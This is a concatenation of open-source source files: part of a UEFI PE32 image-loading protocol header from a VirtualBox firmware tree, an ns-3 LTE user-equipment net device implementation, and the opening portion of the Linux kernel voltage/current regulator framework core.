@retval EFI_UNSUPPORTED The image type is not supported, or the device path cannot be
parsed to locate the proper protocol for loading the file.
@retval EFI_OUT_OF_RESOURCES The image was not loaded due to insufficient memory resources.
@retval EFI_LOAD_ERROR Image was not loaded because the image format was corrupt or not
understood.
@retval EFI_DEVICE_ERROR Image was not loaded because the device returned a read error.
@retval EFI_ACCESS_DENIED Image was not loaded because the platform policy prohibits the
image from being loaded. NULL is returned in *ImageHandle.
@retval EFI_SECURITY_VIOLATION Image was loaded and an ImageHandle was created with a
valid EFI_LOADED_IMAGE_PROTOCOL. However, the current
platform policy specifies that the image should not be started.
**/
typedef
EFI_STATUS
(EFIAPI *LOAD_PE_IMAGE)(
IN EFI_PE32_IMAGE_PROTOCOL *This,
IN EFI_HANDLE ParentImageHandle,
IN EFI_DEVICE_PATH_PROTOCOL *FilePath,
IN VOID *SourceBuffer OPTIONAL,
IN UINTN SourceSize,
IN EFI_PHYSICAL_ADDRESS DstBuffer OPTIONAL,
IN OUT UINTN *NumberOfPages OPTIONAL,
OUT EFI_HANDLE *ImageHandle,
OUT EFI_PHYSICAL_ADDRESS *EntryPoint OPTIONAL,
IN UINT32 Attribute
);
/**
Unload the specified image.
@param This The pointer to the LoadPe32Image protocol instance
@param ImageHandle The specified image handle to be unloaded.
@retval EFI_INVALID_PARAMETER Image handle is NULL.
@retval EFI_UNSUPPORTED Attempted to unload an unsupported image.
@retval EFI_SUCCESS The image successfully unloaded.
--*/
typedef
EFI_STATUS
(EFIAPI *UNLOAD_PE_IMAGE)(
IN EFI_PE32_IMAGE_PROTOCOL *This,
IN EFI_HANDLE ImageHandle
);
struct _EFI_PE32_IMAGE_PROTOCOL {
LOAD_PE_IMAGE LoadPeImage;
UNLOAD_PE_IMAGE UnLoadPeImage;
};
extern EFI_GUID gEfiLoadPeImageProtocolGuid;
#endif
| eaas-framework/virtualbox | src/VBox/Devices/EFI/Firmware/MdeModulePkg/Include/Protocol/LoadPe32Image.h | C | gpl-2.0 | 4,699 |
/* -*- Mode: C++; c-file-style: "gnu"; indent-tabs-mode:nil; -*- */
/*
* Copyright (c) 2010 TELEMATICS LAB, DEE - Politecnico di Bari
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation;
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* Author: Giuseppe Piro <g.piro@poliba.it>
* Nicola Baldo <nbaldo@cttc.es>
* Marco Miozzo <mmiozzo@cttc.es>
*/
#include "ns3/llc-snap-header.h"
#include "ns3/simulator.h"
#include "ns3/callback.h"
#include "ns3/node.h"
#include "ns3/packet.h"
#include "lte-net-device.h"
#include "ns3/packet-burst.h"
#include "ns3/uinteger.h"
#include "ns3/trace-source-accessor.h"
#include "ns3/pointer.h"
#include "ns3/enum.h"
#include "lte-enb-net-device.h"
#include "lte-ue-net-device.h"
#include "lte-ue-mac.h"
#include "lte-ue-rrc.h"
#include "ns3/ipv4-header.h"
#include "ns3/ipv4.h"
#include "lte-amc.h"
#include <ns3/lte-ue-phy.h>
#include <ns3/ipv4-l3-protocol.h>
#include <ns3/log.h>
NS_LOG_COMPONENT_DEFINE ("LteUeNetDevice");
namespace ns3 {
NS_OBJECT_ENSURE_REGISTERED ( LteUeNetDevice);
uint64_t LteUeNetDevice::m_imsiCounter = 0;
TypeId LteUeNetDevice::GetTypeId (void)
{
static TypeId
tid =
TypeId ("ns3::LteUeNetDevice")
.SetParent<LteNetDevice> ()
.AddAttribute ("LteUeRrc",
"The RRC associated to this UeNetDevice",
PointerValue (),
MakePointerAccessor (&LteUeNetDevice::m_rrc),
MakePointerChecker <LteUeRrc> ())
.AddAttribute ("LteUeMac",
"The MAC associated to this UeNetDevice",
PointerValue (),
MakePointerAccessor (&LteUeNetDevice::m_mac),
MakePointerChecker <LteUeMac> ())
.AddAttribute ("LteUePhy",
"The PHY associated to this UeNetDevice",
PointerValue (),
MakePointerAccessor (&LteUeNetDevice::m_phy),
MakePointerChecker <LteUePhy> ())
.AddAttribute ("Imsi",
"International Mobile Subscriber Identity assigned to this UE",
TypeId::ATTR_GET,
UintegerValue (0), // not used because the attribute is read-only
MakeUintegerAccessor (&LteUeNetDevice::m_imsi),
MakeUintegerChecker<uint64_t> ())
;
return tid;
}
LteUeNetDevice::LteUeNetDevice (void)
{
NS_LOG_FUNCTION (this);
NS_FATAL_ERROR ("This constructor should not be called");
}
LteUeNetDevice::LteUeNetDevice (Ptr<Node> node, Ptr<LteUePhy> phy, Ptr<LteUeMac> mac, Ptr<LteUeRrc> rrc)
{
NS_LOG_FUNCTION (this);
m_phy = phy;
m_mac = mac;
m_rrc = rrc;
SetNode (node);
m_imsi = ++m_imsiCounter;
}
LteUeNetDevice::~LteUeNetDevice (void)
{
NS_LOG_FUNCTION (this);
}
void
LteUeNetDevice::DoDispose (void)
{
NS_LOG_FUNCTION (this);
m_targetEnb = 0;
m_mac->Dispose ();
m_mac = 0;
m_rrc->Dispose ();
m_rrc = 0;
m_phy->Dispose ();
m_phy = 0;
LteNetDevice::DoDispose ();
}
void
LteUeNetDevice::UpdateConfig (void)
{
NS_LOG_FUNCTION (this);
}
Ptr<LteUeMac>
LteUeNetDevice::GetMac (void)
{
NS_LOG_FUNCTION (this);
return m_mac;
}
Ptr<LteUeRrc>
LteUeNetDevice::GetRrc (void)
{
NS_LOG_FUNCTION (this);
return m_rrc;
}
Ptr<LteUePhy>
LteUeNetDevice::GetPhy (void) const
{
NS_LOG_FUNCTION (this);
return m_phy;
}
void
LteUeNetDevice::SetTargetEnb (Ptr<LteEnbNetDevice> enb)
{
NS_LOG_FUNCTION (this << enb);
m_targetEnb = enb;
// should go through RRC and then through PHY SAP
m_phy->DoSetCellId (enb->GetCellId ());
}
Ptr<LteEnbNetDevice>
LteUeNetDevice::GetTargetEnb (void)
{
NS_LOG_FUNCTION (this);
return m_targetEnb;
}
uint64_t
LteUeNetDevice::GetImsi ()
{
NS_LOG_FUNCTION (this);
return m_imsi;
}
void
LteUeNetDevice::DoStart (void)
{
NS_LOG_FUNCTION (this);
UpdateConfig ();
m_phy->Start ();
m_mac->Start ();
m_rrc->Start ();
}
bool
LteUeNetDevice::Send (Ptr<Packet> packet, const Address& dest, uint16_t protocolNumber)
{
NS_LOG_FUNCTION (this << dest << protocolNumber);
NS_ASSERT_MSG (protocolNumber == Ipv4L3Protocol::PROT_NUMBER, "unsupported protocol " << protocolNumber << ", only IPv4 is supported");
return m_rrc->Send (packet);
}
} // namespace ns3
| bvamanan/ns3 | src/lte/model/lte-ue-net-device.cc | C++ | gpl-2.0 | 4,795 |
/*
* core.c -- Voltage/Current Regulator framework.
*
* Copyright 2007, 2008 Wolfson Microelectronics PLC.
* Copyright 2008 SlimLogic Ltd.
*
* Author: Liam Girdwood <lrg@slimlogic.co.uk>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/debugfs.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/async.h>
#include <linux/err.h>
#include <linux/mutex.h>
#include <linux/suspend.h>
#include <linux/delay.h>
#include <linux/gpio.h>
#include <linux/of.h>
#include <linux/regmap.h>
#include <linux/seq_file.h>
#include <linux/uaccess.h>
#include <linux/regulator/of_regulator.h>
#include <linux/regulator/consumer.h>
#include <linux/regulator/driver.h>
#include <linux/regulator/machine.h>
#include <linux/module.h>
#define CREATE_TRACE_POINTS
#include <trace/events/regulator.h>
#include "dummy.h"
#define rdev_crit(rdev, fmt, ...) \
pr_crit("%s: " fmt, rdev_get_name(rdev), ##__VA_ARGS__)
#define rdev_err(rdev, fmt, ...) \
pr_err("%s: " fmt, rdev_get_name(rdev), ##__VA_ARGS__)
#define rdev_warn(rdev, fmt, ...) \
pr_warn("%s: " fmt, rdev_get_name(rdev), ##__VA_ARGS__)
#define rdev_info(rdev, fmt, ...) \
pr_info("%s: " fmt, rdev_get_name(rdev), ##__VA_ARGS__)
#define rdev_dbg(rdev, fmt, ...) \
pr_debug("%s: " fmt, rdev_get_name(rdev), ##__VA_ARGS__)
static DEFINE_MUTEX(regulator_list_mutex);
static LIST_HEAD(regulator_list);
static LIST_HEAD(regulator_map_list);
static LIST_HEAD(regulator_ena_gpio_list);
static bool has_full_constraints;
static bool board_wants_dummy_regulator;
static int suppress_info_printing;
static struct dentry *debugfs_root;
/*
* struct regulator_map
*
* Used to provide symbolic supply names to devices.
*/
struct regulator_map {
struct list_head list;
const char *dev_name; /* The dev_name() for the consumer */
const char *supply;
struct regulator_dev *regulator;
};
/*
* struct regulator_enable_gpio
*
* Management for shared enable GPIO pin
*/
struct regulator_enable_gpio {
struct list_head list;
int gpio;
u32 enable_count; /* a number of enabled shared GPIO */
u32 request_count; /* a number of requested shared GPIO */
unsigned int ena_gpio_invert:1;
};
/*
* struct regulator
*
* One for each consumer device.
*/
struct regulator {
struct device *dev;
struct list_head list;
unsigned int always_on:1;
unsigned int bypass:1;
int uA_load;
int min_uV;
int max_uV;
int enabled;
char *supply_name;
struct device_attribute dev_attr;
struct regulator_dev *rdev;
struct dentry *debugfs;
};
static int _regulator_is_enabled(struct regulator_dev *rdev);
static int _regulator_disable(struct regulator_dev *rdev);
static int _regulator_get_voltage(struct regulator_dev *rdev);
static int _regulator_get_current_limit(struct regulator_dev *rdev);
static unsigned int _regulator_get_mode(struct regulator_dev *rdev);
static void _notifier_call_chain(struct regulator_dev *rdev,
unsigned long event, void *data);
static int _regulator_do_set_voltage(struct regulator_dev *rdev,
int min_uV, int max_uV);
static struct regulator *create_regulator(struct regulator_dev *rdev,
struct device *dev,
const char *supply_name);
static const char *rdev_get_name(struct regulator_dev *rdev)
{
if (rdev->constraints && rdev->constraints->name)
return rdev->constraints->name;
else if (rdev->desc->name)
return rdev->desc->name;
else
return "";
}
/**
* of_get_regulator - get a regulator device node based on supply name
* @dev: Device pointer for the consumer (of regulator) device
* @supply: regulator supply name
*
* Extract the regulator device node corresponding to the supply name.
* returns the device node corresponding to the regulator if found, else
* returns NULL.
*/
static struct device_node *of_get_regulator(struct device *dev, const char *supply)
{
struct device_node *regnode = NULL;
char prop_name[32]; /* 32 is max size of property name */
dev_dbg(dev, "Looking up %s-supply from device tree\n", supply);
snprintf(prop_name, 32, "%s-supply", supply);
regnode = of_parse_phandle(dev->of_node, prop_name, 0);
if (!regnode) {
dev_dbg(dev, "Looking up %s property in node %s failed",
prop_name, dev->of_node->full_name);
return NULL;
}
return regnode;
}
static int _regulator_can_change_status(struct regulator_dev *rdev)
{
if (!rdev->constraints)
return 0;
if (rdev->constraints->valid_ops_mask & REGULATOR_CHANGE_STATUS)
return 1;
else
return 0;
}
/* Platform voltage constraint check */
static int regulator_check_voltage(struct regulator_dev *rdev,
int *min_uV, int *max_uV)
{
BUG_ON(*min_uV > *max_uV);
if (!rdev->constraints) {
rdev_err(rdev, "no constraints\n");
return -ENODEV;
}
if (!(rdev->constraints->valid_ops_mask & REGULATOR_CHANGE_VOLTAGE)) {
rdev_err(rdev, "operation not allowed\n");
return -EPERM;
}
/* check if requested voltage range actually overlaps the constraints */
if (*max_uV < rdev->constraints->min_uV ||
*min_uV > rdev->constraints->max_uV) {
rdev_err(rdev, "requested voltage range [%d, %d] does not fit "
"within constraints: [%d, %d]\n", *min_uV, *max_uV,
rdev->constraints->min_uV, rdev->constraints->max_uV);
return -EINVAL;
}
if (*max_uV > rdev->constraints->max_uV)
*max_uV = rdev->constraints->max_uV;
if (*min_uV < rdev->constraints->min_uV)
*min_uV = rdev->constraints->min_uV;
if (*min_uV > *max_uV) {
rdev_err(rdev, "unsupportable voltage range: %d-%duV\n",
*min_uV, *max_uV);
return -EINVAL;
}
return 0;
}
/* Make sure we select a voltage that suits the needs of all
* regulator consumers
*/
static int regulator_check_consumers(struct regulator_dev *rdev,
int *min_uV, int *max_uV)
{
struct regulator *regulator;
int init_min_uV = *min_uV;
int init_max_uV = *max_uV;
list_for_each_entry(regulator, &rdev->consumer_list, list) {
/*
* Assume consumers that didn't say anything are OK
* with anything in the constraint range.
*/
if (!regulator->min_uV && !regulator->max_uV)
continue;
if (init_max_uV < regulator->min_uV
|| init_min_uV > regulator->max_uV)
rdev_err(rdev, "requested voltage range [%d, %d] does "
"not fit within previously voted range: "
"[%d, %d]\n", init_min_uV, init_max_uV,
regulator->min_uV, regulator->max_uV);
if (*max_uV > regulator->max_uV)
*max_uV = regulator->max_uV;
if (*min_uV < regulator->min_uV)
*min_uV = regulator->min_uV;
}
if (*min_uV > *max_uV) {
rdev_err(rdev, "Restricting voltage, %u-%uuV\n",
*min_uV, *max_uV);
return -EINVAL;
}
return 0;
}
/* current constraint check */
static int regulator_check_current_limit(struct regulator_dev *rdev,
int *min_uA, int *max_uA)
{
BUG_ON(*min_uA > *max_uA);
if (!rdev->constraints) {
rdev_err(rdev, "no constraints\n");
return -ENODEV;
}
if (!(rdev->constraints->valid_ops_mask & REGULATOR_CHANGE_CURRENT)) {
rdev_err(rdev, "operation not allowed\n");
return -EPERM;
}
if (*max_uA > rdev->constraints->max_uA)
*max_uA = rdev->constraints->max_uA;
if (*min_uA < rdev->constraints->min_uA)
*min_uA = rdev->constraints->min_uA;
if (*min_uA > *max_uA) {
rdev_err(rdev, "unsupportable current range: %d-%duA\n",
*min_uA, *max_uA);
return -EINVAL;
}
return 0;
}
/* operating mode constraint check */
static int regulator_mode_constrain(struct regulator_dev *rdev, int *mode)
{
switch (*mode) {
case REGULATOR_MODE_FAST:
case REGULATOR_MODE_NORMAL:
case REGULATOR_MODE_IDLE:
case REGULATOR_MODE_STANDBY:
break;
default:
rdev_err(rdev, "invalid mode %x specified\n", *mode);
return -EINVAL;
}
if (!rdev->constraints) {
rdev_err(rdev, "no constraints\n");
return -ENODEV;
}
if (!(rdev->constraints->valid_ops_mask & REGULATOR_CHANGE_MODE)) {
rdev_err(rdev, "operation not allowed\n");
return -EPERM;
}
/* The modes are bitmasks, the most power hungry modes having
* the lowest values. If the requested mode isn't supported
* try higher modes. */
while (*mode) {
if (rdev->constraints->valid_modes_mask & *mode)
return 0;
*mode /= 2;
}
return -EINVAL;
}
/* dynamic regulator mode switching constraint check */
static int regulator_check_drms(struct regulator_dev *rdev)
{
if (!rdev->constraints) {
rdev_dbg(rdev, "no constraints\n");
return -ENODEV;
}
if (!(rdev->constraints->valid_ops_mask & REGULATOR_CHANGE_DRMS)) {
rdev_dbg(rdev, "operation not allowed\n");
return -EPERM;
}
return 0;
}
static ssize_t regulator_uV_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
ssize_t ret;
mutex_lock(&rdev->mutex);
ret = sprintf(buf, "%d\n", _regulator_get_voltage(rdev));
mutex_unlock(&rdev->mutex);
return ret;
}
static DEVICE_ATTR(microvolts, 0444, regulator_uV_show, NULL);
static ssize_t regulator_uA_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return sprintf(buf, "%d\n", _regulator_get_current_limit(rdev));
}
static DEVICE_ATTR(microamps, 0444, regulator_uA_show, NULL);
static ssize_t regulator_name_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return sprintf(buf, "%s\n", rdev_get_name(rdev));
}
static ssize_t regulator_print_opmode(char *buf, int mode)
{
switch (mode) {
case REGULATOR_MODE_FAST:
return sprintf(buf, "fast\n");
case REGULATOR_MODE_NORMAL:
return sprintf(buf, "normal\n");
case REGULATOR_MODE_IDLE:
return sprintf(buf, "idle\n");
case REGULATOR_MODE_STANDBY:
return sprintf(buf, "standby\n");
}
return sprintf(buf, "unknown\n");
}
static ssize_t regulator_opmode_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return regulator_print_opmode(buf, _regulator_get_mode(rdev));
}
static DEVICE_ATTR(opmode, 0444, regulator_opmode_show, NULL);
static ssize_t regulator_print_state(char *buf, int state)
{
if (state > 0)
return sprintf(buf, "enabled\n");
else if (state == 0)
return sprintf(buf, "disabled\n");
else
return sprintf(buf, "unknown\n");
}
static ssize_t regulator_state_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
ssize_t ret;
mutex_lock(&rdev->mutex);
ret = regulator_print_state(buf, _regulator_is_enabled(rdev));
mutex_unlock(&rdev->mutex);
return ret;
}
static DEVICE_ATTR(state, 0444, regulator_state_show, NULL);
static ssize_t regulator_status_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
int status;
char *label;
status = rdev->desc->ops->get_status(rdev);
if (status < 0)
return status;
switch (status) {
case REGULATOR_STATUS_OFF:
label = "off";
break;
case REGULATOR_STATUS_ON:
label = "on";
break;
case REGULATOR_STATUS_ERROR:
label = "error";
break;
case REGULATOR_STATUS_FAST:
label = "fast";
break;
case REGULATOR_STATUS_NORMAL:
label = "normal";
break;
case REGULATOR_STATUS_IDLE:
label = "idle";
break;
case REGULATOR_STATUS_STANDBY:
label = "standby";
break;
case REGULATOR_STATUS_BYPASS:
label = "bypass";
break;
case REGULATOR_STATUS_UNDEFINED:
label = "undefined";
break;
default:
return -ERANGE;
}
return sprintf(buf, "%s\n", label);
}
static DEVICE_ATTR(status, 0444, regulator_status_show, NULL);
static ssize_t regulator_min_uA_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
if (!rdev->constraints)
return sprintf(buf, "constraint not defined\n");
return sprintf(buf, "%d\n", rdev->constraints->min_uA);
}
static DEVICE_ATTR(min_microamps, 0444, regulator_min_uA_show, NULL);
static ssize_t regulator_max_uA_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
if (!rdev->constraints)
return sprintf(buf, "constraint not defined\n");
return sprintf(buf, "%d\n", rdev->constraints->max_uA);
}
static DEVICE_ATTR(max_microamps, 0444, regulator_max_uA_show, NULL);
static ssize_t regulator_min_uV_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
if (!rdev->constraints)
return sprintf(buf, "constraint not defined\n");
return sprintf(buf, "%d\n", rdev->constraints->min_uV);
}
static DEVICE_ATTR(min_microvolts, 0444, regulator_min_uV_show, NULL);
static ssize_t regulator_max_uV_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
if (!rdev->constraints)
return sprintf(buf, "constraint not defined\n");
return sprintf(buf, "%d\n", rdev->constraints->max_uV);
}
static DEVICE_ATTR(max_microvolts, 0444, regulator_max_uV_show, NULL);
static ssize_t regulator_total_uA_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
struct regulator *regulator;
int uA = 0;
mutex_lock(&rdev->mutex);
list_for_each_entry(regulator, &rdev->consumer_list, list)
uA += regulator->uA_load;
mutex_unlock(&rdev->mutex);
return sprintf(buf, "%d\n", uA);
}
static DEVICE_ATTR(requested_microamps, 0444, regulator_total_uA_show, NULL);
static ssize_t regulator_num_users_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return sprintf(buf, "%d\n", rdev->use_count);
}
static ssize_t regulator_type_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
switch (rdev->desc->type) {
case REGULATOR_VOLTAGE:
return sprintf(buf, "voltage\n");
case REGULATOR_CURRENT:
return sprintf(buf, "current\n");
}
return sprintf(buf, "unknown\n");
}
static ssize_t regulator_suspend_mem_uV_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return sprintf(buf, "%d\n", rdev->constraints->state_mem.uV);
}
static DEVICE_ATTR(suspend_mem_microvolts, 0444,
regulator_suspend_mem_uV_show, NULL);
static ssize_t regulator_suspend_disk_uV_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return sprintf(buf, "%d\n", rdev->constraints->state_disk.uV);
}
static DEVICE_ATTR(suspend_disk_microvolts, 0444,
regulator_suspend_disk_uV_show, NULL);
static ssize_t regulator_suspend_standby_uV_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return sprintf(buf, "%d\n", rdev->constraints->state_standby.uV);
}
static DEVICE_ATTR(suspend_standby_microvolts, 0444,
regulator_suspend_standby_uV_show, NULL);
static ssize_t regulator_suspend_mem_mode_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return regulator_print_opmode(buf,
rdev->constraints->state_mem.mode);
}
static DEVICE_ATTR(suspend_mem_mode, 0444,
regulator_suspend_mem_mode_show, NULL);
static ssize_t regulator_suspend_disk_mode_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return regulator_print_opmode(buf,
rdev->constraints->state_disk.mode);
}
static DEVICE_ATTR(suspend_disk_mode, 0444,
regulator_suspend_disk_mode_show, NULL);
static ssize_t regulator_suspend_standby_mode_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return regulator_print_opmode(buf,
rdev->constraints->state_standby.mode);
}
static DEVICE_ATTR(suspend_standby_mode, 0444,
regulator_suspend_standby_mode_show, NULL);
static ssize_t regulator_suspend_mem_state_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return regulator_print_state(buf,
rdev->constraints->state_mem.enabled);
}
static DEVICE_ATTR(suspend_mem_state, 0444,
regulator_suspend_mem_state_show, NULL);
static ssize_t regulator_suspend_disk_state_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return regulator_print_state(buf,
rdev->constraints->state_disk.enabled);
}
static DEVICE_ATTR(suspend_disk_state, 0444,
regulator_suspend_disk_state_show, NULL);
static ssize_t regulator_suspend_standby_state_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
return regulator_print_state(buf,
rdev->constraints->state_standby.enabled);
}
static DEVICE_ATTR(suspend_standby_state, 0444,
regulator_suspend_standby_state_show, NULL);
static ssize_t regulator_bypass_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
const char *report;
bool bypass;
int ret;
ret = rdev->desc->ops->get_bypass(rdev, &bypass);
if (ret != 0)
report = "unknown";
else if (bypass)
report = "enabled";
else
report = "disabled";
return sprintf(buf, "%s\n", report);
}
static DEVICE_ATTR(bypass, 0444,
regulator_bypass_show, NULL);
/*
* These are the only attributes are present for all regulators.
* Other attributes are a function of regulator functionality.
*/
static struct device_attribute regulator_dev_attrs[] = {
__ATTR(name, 0444, regulator_name_show, NULL),
__ATTR(num_users, 0444, regulator_num_users_show, NULL),
__ATTR(type, 0444, regulator_type_show, NULL),
__ATTR_NULL,
};
static void regulator_dev_release(struct device *dev)
{
struct regulator_dev *rdev = dev_get_drvdata(dev);
kfree(rdev);
}
static struct class regulator_class = {
.name = "regulator",
.dev_release = regulator_dev_release,
.dev_attrs = regulator_dev_attrs,
};
/* Calculate the new optimum regulator operating mode based on the new total
* consumer load. All locks held by caller */
static void drms_uA_update(struct regulator_dev *rdev)
{
struct regulator *sibling;
int current_uA = 0, output_uV, input_uV, err;
unsigned int regulator_curr_mode, mode;
err = regulator_check_drms(rdev);
if (err < 0 || !rdev->desc->ops->get_optimum_mode ||
(!rdev->desc->ops->get_voltage &&
!rdev->desc->ops->get_voltage_sel) ||
!rdev->desc->ops->set_mode)
return;
/* get output voltage */
output_uV = _regulator_get_voltage(rdev);
if (output_uV <= 0)
return;
/* get input voltage */
input_uV = 0;
if (rdev->supply)
input_uV = regulator_get_voltage(rdev->supply);
if (input_uV <= 0)
input_uV = rdev->constraints->input_uV;
if (input_uV <= 0)
return;
/* calc total requested load */
list_for_each_entry(sibling, &rdev->consumer_list, list)
current_uA += sibling->uA_load;
/* now get the optimum mode for our new total regulator load */
mode = rdev->desc->ops->get_optimum_mode(rdev, input_uV,
output_uV, current_uA);
/* check the new mode is allowed */
err = regulator_mode_constrain(rdev, &mode);
/* return if the same mode is requested */
if (rdev->desc->ops->get_mode) {
regulator_curr_mode = rdev->desc->ops->get_mode(rdev);
if (regulator_curr_mode == mode)
return;
} else
return;
if (err == 0)
rdev->desc->ops->set_mode(rdev, mode);
}
static int suspend_set_state(struct regulator_dev *rdev,
struct regulator_state *rstate)
{
int ret = 0;
/* If we have no suspend mode configration don't set anything;
* only warn if the driver implements set_suspend_voltage or
* set_suspend_mode callback.
*/
if (!rstate->enabled && !rstate->disabled) {
if (rdev->desc->ops->set_suspend_voltage ||
rdev->desc->ops->set_suspend_mode)
rdev_warn(rdev, "No configuration\n");
return 0;
}
if (rstate->enabled && rstate->disabled) {
rdev_err(rdev, "invalid configuration\n");
return -EINVAL;
}
if (rstate->enabled && rdev->desc->ops->set_suspend_enable)
ret = rdev->desc->ops->set_suspend_enable(rdev);
else if (rstate->disabled && rdev->desc->ops->set_suspend_disable)
ret = rdev->desc->ops->set_suspend_disable(rdev);
else /* OK if set_suspend_enable or set_suspend_disable is NULL */
ret = 0;
if (ret < 0) {
rdev_err(rdev, "failed to enabled/disable\n");
return ret;
}
if (rdev->desc->ops->set_suspend_voltage && rstate->uV > 0) {
ret = rdev->desc->ops->set_suspend_voltage(rdev, rstate->uV);
if (ret < 0) {
rdev_err(rdev, "failed to set voltage\n");
return ret;
}
}
if (rdev->desc->ops->set_suspend_mode && rstate->mode > 0) {
ret = rdev->desc->ops->set_suspend_mode(rdev, rstate->mode);
if (ret < 0) {
rdev_err(rdev, "failed to set mode\n");
return ret;
}
}
return ret;
}
/* locks held by caller */
static int suspend_prepare(struct regulator_dev *rdev, suspend_state_t state)
{
if (!rdev->constraints)
return -EINVAL;
switch (state) {
case PM_SUSPEND_STANDBY:
return suspend_set_state(rdev,
&rdev->constraints->state_standby);
case PM_SUSPEND_MEM:
return suspend_set_state(rdev,
&rdev->constraints->state_mem);
case PM_SUSPEND_MAX:
return suspend_set_state(rdev,
&rdev->constraints->state_disk);
default:
return -EINVAL;
}
}
static void print_constraints(struct regulator_dev *rdev)
{
struct regulation_constraints *constraints = rdev->constraints;
char buf[80] = "";
int count = 0;
int ret;
if (constraints->min_uV && constraints->max_uV) {
if (constraints->min_uV == constraints->max_uV)
count += sprintf(buf + count, "%d mV ",
constraints->min_uV / 1000);
else
count += sprintf(buf + count, "%d <--> %d mV ",
constraints->min_uV / 1000,
constraints->max_uV / 1000);
}
if (!constraints->min_uV ||
constraints->min_uV != constraints->max_uV) {
ret = _regulator_get_voltage(rdev);
if (ret > 0)
count += sprintf(buf + count, "at %d mV ", ret / 1000);
}
if (constraints->uV_offset)
count += sprintf(buf, "%dmV offset ",
constraints->uV_offset / 1000);
if (constraints->min_uA && constraints->max_uA) {
if (constraints->min_uA == constraints->max_uA)
count += sprintf(buf + count, "%d mA ",
constraints->min_uA / 1000);
else
count += sprintf(buf + count, "%d <--> %d mA ",
constraints->min_uA / 1000,
constraints->max_uA / 1000);
}
if (!constraints->min_uA ||
constraints->min_uA != constraints->max_uA) {
ret = _regulator_get_current_limit(rdev);
if (ret > 0)
count += sprintf(buf + count, "at %d mA ", ret / 1000);
}
if (constraints->valid_modes_mask & REGULATOR_MODE_FAST)
count += sprintf(buf + count, "fast ");
if (constraints->valid_modes_mask & REGULATOR_MODE_NORMAL)
count += sprintf(buf + count, "normal ");
if (constraints->valid_modes_mask & REGULATOR_MODE_IDLE)
count += sprintf(buf + count, "idle ");
if (constraints->valid_modes_mask & REGULATOR_MODE_STANDBY)
count += sprintf(buf + count, "standby");
if (!count)
sprintf(buf, "no parameters");
rdev_info(rdev, "%s\n", buf);
if ((constraints->min_uV != constraints->max_uV) &&
!(constraints->valid_ops_mask & REGULATOR_CHANGE_VOLTAGE))
rdev_warn(rdev,
"Voltage range but no REGULATOR_CHANGE_VOLTAGE\n");
}
static int machine_constraints_voltage(struct regulator_dev *rdev,
struct regulation_constraints *constraints)
{
struct regulator_ops *ops = rdev->desc->ops;
int ret;
/* do we need to apply the constraint voltage */
if (rdev->constraints->apply_uV &&
rdev->constraints->min_uV == rdev->constraints->max_uV) {
ret = _regulator_do_set_voltage(rdev,
rdev->constraints->min_uV,
rdev->constraints->max_uV);
if (ret < 0) {
rdev_err(rdev, "failed to apply %duV constraint\n",
rdev->constraints->min_uV);
return ret;
}
}
/* constrain machine-level voltage specs to fit
* the actual range supported by this regulator.
*/
if (ops->list_voltage && rdev->desc->n_voltages) {
int count = rdev->desc->n_voltages;
int i;
int min_uV = INT_MAX;
int max_uV = INT_MIN;
int cmin = constraints->min_uV;
int cmax = constraints->max_uV;
/* it's safe to autoconfigure fixed-voltage supplies
and the constraints are used by list_voltage. */
if (count == 1 && !cmin) {
cmin = 1;
cmax = INT_MAX;
constraints->min_uV = cmin;
constraints->max_uV = cmax;
}
